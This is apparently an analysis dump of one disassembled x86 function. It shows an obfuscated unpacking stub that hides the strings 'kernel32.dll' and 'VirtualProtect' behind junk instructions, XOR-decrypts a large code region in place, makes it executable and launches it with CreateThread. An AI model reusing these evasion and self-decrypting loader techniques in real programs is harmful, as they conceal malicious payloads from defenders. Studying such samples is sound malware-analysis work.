Function at 0x293c752
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push esi
push ecx
pop ecx
pop esi
call fcn.0293cb55
mov eax, eax
lea eax, [ebp - 0xd8]
push esi
push edi
pop edi
pop esi
push edx
push ecx
pop ecx
pop edx
mov ebx, 0x61
nop
add bx, 0xa
pushfd
xor ebx, 0x8d396d7d
xor ebx, 0x8d396d7d
popfd
push esi
pop esi
mov word [eax], bx
xchg edi, ebx
xchg ebx, edi
sub bx, 6
mov ecx, ecx
mov word [eax + 2], bx
xchg edx, ecx
xchg ecx, edx
pushfd
push edx
add esp, 4
popfd
add bx, 0xd
push edi
push esi
pop esi
pop edi
pushfd
push 0x59e56ac1
add esp, 4
popfd
mov word [eax + 4], bx
push eax
push ecx
pop ecx
pop eax
push edi
pop edi
sub bx, 4
mov ebx, ebx
push ebx
pop ebx
mov word [eax + 6], bx
push ecx
push edx
pop edx
pop ecx
sub bx, 9
pushfd
push 0xf71a70e1
add esp, 4
popfd
mov word [eax + 8], bx
pushfd
push 0x7ef27e7b
add esp, 4
popfd
add bx, 7
pushfd
push eax
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
mov word [eax + 0xa], bx
pushfd
push 0x5dcbade2
add esp, 4
popfd
pushfd
push 0x74ba809
add esp, 4
popfd
sub bx, 0x39
pushfd
xor ebx, 0x732732fb
xor ebx, 0x732732fb
popfd
mov word [eax + 0xc], bx
pushfd
push eax
add esp, 4
popfd
push ecx
pop ecx
dec bx
pushfd
xor ecx, 0x79e3831f
xor ecx, 0x79e3831f
popfd
mov word [eax + 0xe], bx
pushfd
push eax
add esp, 4
popfd
sub bx, 4
xchg edx, edx
mov word [eax + 0x10], bx
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x93474d9f
add esp, 4
popfd
add bx, 0x36
pushfd
inc esi
dec esi
popfd
push eax
push ecx
pop ecx
pop eax
mov word [eax + 0x12], bx
pushfd
push edi
add esp, 4
popfd
add bx, 8
xchg ecx, ecx
mov word [eax + 0x14], bx
pushfd
inc ecx
dec ecx
popfd
mov word [eax + 0x16], bx
pushfd
push edx
add esp, 4
popfd
pushfd
inc edx
dec edx
popfd
mov word [eax + 0x18], 0
mov edx, edx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
push 0xe93b4b74
add esp, 4
popfd
mov dword [ebp - 0x10], eax
pushfd
push 0x420b7a4c
add esp, 4
popfd
lea eax, [ebp - 0xd8]
xchg ebx, eax
xchg ebx, eax
mov edx, edx
mov ebx, 0x61
push ecx
pop ecx
xchg esi, edi
xchg edi, esi
sub bl, 0xb
xchg edx, ebx
xchg ebx, edx
pushfd
push 0x5daa3f14
add esp, 4
popfd
mov byte [eax], bl
pushfd
xor edx, 0xa068b6c9
xor edx, 0xa068b6c9
popfd
push ebx
pop ebx
add bl, 0x13
pushfd
push ebx
add esp, 4
popfd
nop
mov byte [eax + 1], bl
xchg ecx, ecx
add bl, 9
pushfd
inc ecx
dec ecx
popfd
mov esi, esi
mov byte [eax + 2], bl
push edx
pop edx
add bl, 2
mov eax, eax
push edi
push ecx
pop ecx
pop edi
mov byte [eax + 3], bl
push ebx
pop ebx
inc bl
pushfd
push esi
add esp, 4
popfd
push eax
pop eax
mov byte [eax + 4], bl
xchg ecx, ecx
sub bl, 0x14
pushfd
inc ebx
dec ebx
popfd
xchg edx, edi
xchg edi, edx
mov byte [eax + 5], bl
pushfd
push edx
add esp, 4
popfd
xchg edi, edi
add bl, 0xb
push esi
push ecx
pop ecx
pop esi
mov byte [eax + 6], bl
pushfd
xor eax, 0xfcce4a26
xor eax, 0xfcce4a26
popfd
sub bl, 0x1c
xchg ebx, esi
xchg esi, ebx
pushfd
push 0x3260f0b3
add esp, 4
popfd
mov byte [eax + 7], bl
xchg edi, edi
xchg ebx, esi
xchg esi, ebx
add bl, 0x22
pushfd
xor eax, 0x4cac40db
xor eax, 0x4cac40db
popfd
push ebx
push edi
pop edi
pop ebx
mov byte [eax + 8], bl
xchg ecx, ecx
pushfd
push esi
add esp, 4
popfd
sub bl, 3
xchg ecx, ebx
xchg ebx, ecx
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 9], bl
xchg ebx, eax
xchg ebx, eax
pushfd
push 0x14c4b22d
add esp, 4
popfd
add bl, 5
push ecx
pop ecx
pushfd
xor eax, 0xfb021577
xor eax, 0xfb021577
popfd
mov byte [eax + 0xa], bl
push ecx
push edx
pop edx
pop ecx
push ebx
pop ebx
sub bl, 0xf
pushfd
xor edi, 0xa4facac5
xor edi, 0xa4facac5
popfd
push edx
pop edx
mov byte [eax + 0xb], bl
mov edx, edx
xchg ebx, edi
xchg edi, ebx
sub bl, 2
pushfd
inc edx
dec edx
popfd
pushfd
inc eax
dec eax
popfd
mov byte [eax + 0xc], bl
xchg esi, edx
xchg edx, esi
add bl, 0x11
xchg edi, ecx
xchg ecx, edi
pushfd
xor esi, 0xd1f5b94b
xor esi, 0xd1f5b94b
popfd
mov byte [eax + 0xd], bl
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xe], 0
xchg edx, ecx
xchg ecx, edx
pushfd
xor ebx, 0xc8706d1f
xor ebx, 0xc8706d1f
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
push eax
push edi
pop edi
pop eax
mov dword [ebp - 0xc], eax
nop
lea eax, [ebp - 8]
pushfd
inc edx
dec edx
popfd
push eax
push 4
push 0x18d24d8
push entry0
call dword [ebp - 0xc]
xchg ecx, ecx
pushfd
xor eax, 0x5fa912c3
xor eax, 0x5fa912c3
popfd
mov edi, entry0
push esi
pop esi
mov esi, 0x40100e
pushfd
push 0xc9173346
add esp, 4
popfd
push ecx
push ebx
pop ebx
pop ecx
mov ecx, 0x18d24d8
pushfd
push edx
add esp, 4
popfd
mov edx, 0x8e7a7382
pushfd
push 0x74501392
add esp, 4
popfd
mov ebx, 0xb8a31ca7
pushfd
xor esi, 0xe81b32af
xor esi, 0xe81b32af
popfd
xchg ecx, edx
xchg edx, ecx
cld
xchg ebx, ebx
lodsb al, byte [esi]
mov ecx, ecx
xor al, dl
mov edi, edi
stosb byte es:[edi], al
mov edx, edx
ror edx, 5
xchg edx, edx
imul edx, edx, 7
mov ecx, ecx
test ebx, 1
mov ebx, ebx
je 0x293cad4
xchg ebx, ebx
add esi, 1
nop
ror ebx, 1
mov edi, edi
dec ecx
xchg edi, edi
test ecx, ecx
mov edi, edi
jne 0x293caae
nop
lea eax, [ebp - 8]
push edi
pop edi
pushfd
push 0x4ad4c48f
add esp, 4
popfd
push eax
push 0x20
push 0x18d24d8
push entry0
call dword [ebp - 0xc]
push edx
pop edx
xchg ebx, ebx
lea eax, [ebp - 4]
pushfd
inc edi
dec edi
popfd
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push ecx
add esp, 4
popfd
xchg edx, esi
xchg esi, edx
push ebx
pop ebx
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
inc eax
dec eax
popfd
jmp 0x293cb26